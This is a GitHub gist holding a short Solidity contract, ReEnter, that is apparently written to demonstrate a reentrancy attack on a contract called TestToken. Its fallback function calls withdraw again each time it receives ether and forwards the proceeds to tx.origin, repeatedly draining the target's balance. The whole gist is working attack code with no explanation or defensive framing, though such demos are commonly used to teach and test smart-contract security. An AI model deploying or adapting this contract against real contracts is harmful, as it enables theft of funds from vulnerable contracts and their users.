Skip to content

Instantly share code, notes, and snippets.

@maurelian
Created October 9, 2017 03:06
Show Gist options
  • Save maurelian/94e0cd609d8408f09cc5a6d360139713 to your computer and use it in GitHub Desktop.
Save maurelian/94e0cd609d8408f09cc5a6d360139713 to your computer and use it in GitHub Desktop.
contract ReEnter {
TestToken tt;
function ReEnter(address _target){
tt = TestToken(_target);
}
function deposit() payable {
tt.deposit.value(msg.value)();
}
function withdraw() {
tt.withdraw(50000000000000000);
}
function() payable {
tt.withdraw(50000000000000000);
tx.origin.send(msg.value);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment